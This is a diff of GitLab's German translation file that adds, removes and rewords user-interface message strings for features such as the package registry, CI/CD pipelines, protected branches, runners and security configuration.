@@ -20297,9 +19997,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr "Maximale Zugriffsstufe"
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20369,6 +20066,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr "Maximale Sitzungsdauer."
@@ -20390,6 +20090,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20402,6 +20105,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20462,9 +20168,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr "Median"
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21241,9 +20944,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21384,9 +21084,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr "Meilenstein %{milestoneTitle} wurde nicht gefunden"
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21645,9 +21342,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21821,9 +21515,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -21872,7 +21563,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -21929,13 +21620,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22132,9 +21823,6 @@ msgstr "Neuer Ticket-Titel"
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22153,7 +21841,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22462,9 +22150,6 @@ msgstr ""
msgid "No repository"
msgstr "Kein Repository"
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22651,9 +22336,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr "Benachrichtigungsereignisse"
@@ -22788,9 +22470,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23426,10 +23105,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23507,6 +23186,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23537,6 +23219,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23561,9 +23249,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23615,6 +23300,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23624,15 +23312,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23678,6 +23366,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23708,6 +23402,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr "Paket konnte nicht geladen werden"
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23900,9 +23600,6 @@ msgstr "Pausieren"
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr "Replikation pausieren"
-
msgid "Paused"
msgstr ""
@@ -24107,10 +23804,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr "Insgesamt:"
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24122,9 +23819,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24134,16 +23828,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24263,10 +23963,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24284,12 +23984,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24401,9 +24107,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24554,13 +24257,13 @@ msgstr "mit Phase"
msgid "Pipeline|with stages"
msgstr "mit Phasen"
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24605,10 +24308,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24620,6 +24323,12 @@ msgstr "Bitte wähle eine Gruppen-URL ohne Sonderzeichen."
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25232,6 +24941,9 @@ msgstr "Profil bearbeiten"
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25517,9 +25229,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr "Projekt-Badges"
@@ -25547,6 +25256,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr "Projektavatar"
@@ -25559,9 +25271,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr "Projektdetails"
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25610,15 +25319,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25667,9 +25370,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr "Niemals"
-msgid "ProjectLifecycle|Stage"
-msgstr "Phase"
-
msgid "ProjectOverview|Fork"
msgstr "Fork"
@@ -26285,9 +25985,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26303,9 +26000,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26390,21 +26084,18 @@ msgstr "Es wurden %{exporters} mit %{metrics} gefunden"
msgid "PrometheusService|Active"
msgstr "Aktiv"
-msgid "PrometheusService|Auto configuration"
-msgstr "Automatische Konfiguration"
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr "Allgemeine Metriken"
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr "Gemeinsame Metriken werden anhand einer Bibliothek von Metriken bekannter Exporter automatisch überwacht."
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr "Benutzerdefinierte Metriken"
@@ -26420,18 +26111,9 @@ msgstr "Metriken finden und konfigurieren..."
msgid "PrometheusService|Finding custom metrics..."
msgstr "Benutzerdefinierte Metriken werden gesucht..."
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr "Installiere Prometheus auf Clustern"
-
msgid "PrometheusService|Manage clusters"
msgstr "Verwalten von Clustern"
@@ -26447,9 +26129,6 @@ msgstr "Fehlende Umgebungsvariable"
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr "Weitere Informationen"
@@ -26462,6 +26141,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26477,7 +26159,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr "Diese Metriken werden erst nach deiner ersten Bereitstellung in einer Umgebung überwacht"
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26486,6 +26168,9 @@ msgstr "Warte auf deine erste Bereitstellung in eine Umgebung, um allgemeine Met
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26495,9 +26180,6 @@ msgstr ""
msgid "Promote"
msgstr "Hochstufen"
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26516,9 +26198,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26642,13 +26321,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
+msgstr ""
+
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allowed to force push"
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26669,12 +26351,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr "Schützen"
@@ -26684,6 +26375,9 @@ msgstr "Branch schützen"
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26693,12 +26387,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr "%{environment_name} wird für Entwickler änderbar sein. Bist du sicher?"
@@ -26744,18 +26441,30 @@ msgstr "Deine Umgebung wurde geschützt."
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr "Der Schutz deiner Umgebung wurde aufgehoben"
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
msgstr ""
-msgid "Protocol"
-msgstr "Protokoll"
+msgid "ProtectedTag|Learn more."
+msgstr ""
+
+msgid "ProtectedTag|Limit access to creating and updating tags."
+msgstr ""
+
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
-msgid "Provide feedback"
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr "Provider"
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27160,6 +26869,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27187,6 +26899,9 @@ msgstr ""
msgid "Related Issues"
msgstr "Zugehörige Tickets"
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27366,6 +27081,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27381,15 +27099,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr "Knoten entfernen"
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr "Primärknoten entfernen"
-
msgid "Remove priority"
msgstr "Priorität entfernen"
@@ -27405,9 +27117,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr "Sekundärknoten entfernen"
-
msgid "Remove spent time"
msgstr ""
@@ -27555,31 +27264,25 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
-msgstr "Authentifizierung reparieren"
-
msgid "Replace"
msgstr ""
-msgid "Replace all label(s)"
+msgid "Replace %{name}"
msgstr ""
-msgid "Replaced all labels with %{label_references} %{label_text}."
-msgstr ""
-
-msgid "Replaces the clone URL root."
+msgid "Replace all label(s)"
msgstr ""
-msgid "Replication"
+msgid "Replace file"
msgstr ""
-msgid "Replication details"
+msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
-msgid "Replication enabled"
+msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication paused"
+msgid "Replication"
msgstr ""
msgid "Reply by email"
@@ -27981,6 +27684,9 @@ msgstr[1] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28131,12 +27837,6 @@ msgstr "Fortsetzen"
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr "Wiederholen"
@@ -28152,9 +27852,6 @@ msgstr "Wiederhole diese Aufgabe"
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr "Wiederhole die Überprüfung"
@@ -28249,6 +27946,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr "Roadmap"
@@ -28258,9 +27958,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr "Rook"
-
msgid "Ruby"
msgstr ""
@@ -28327,12 +28024,21 @@ msgstr "Runners-Seite."
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28342,6 +28048,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28351,9 +28060,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28366,9 +28084,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28411,12 +28135,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28447,6 +28177,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28525,6 +28261,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr "Öffentlicher SSH-Schlüssel"
@@ -28576,10 +28318,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr "Zeitplan der Pipeline speichern"
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28612,6 +28351,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28663,6 +28405,9 @@ msgstr ""
msgid "Search"
msgstr "Suche"
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28747,9 +28492,6 @@ msgstr "Suche oder filtere Ergebnisse..."
msgid "Search or filter results…"
msgstr "Suchen oder Ergebnisse filtern…"
-msgid "Search or jump to…"
-msgstr "Suche oder springe zu…"
-
msgid "Search project"
msgstr "Projekt suchen"
@@ -28880,12 +28622,6 @@ msgstr[1] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28952,6 +28688,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -28973,6 +28712,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -28982,6 +28724,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29006,9 +28754,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29018,12 +28775,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
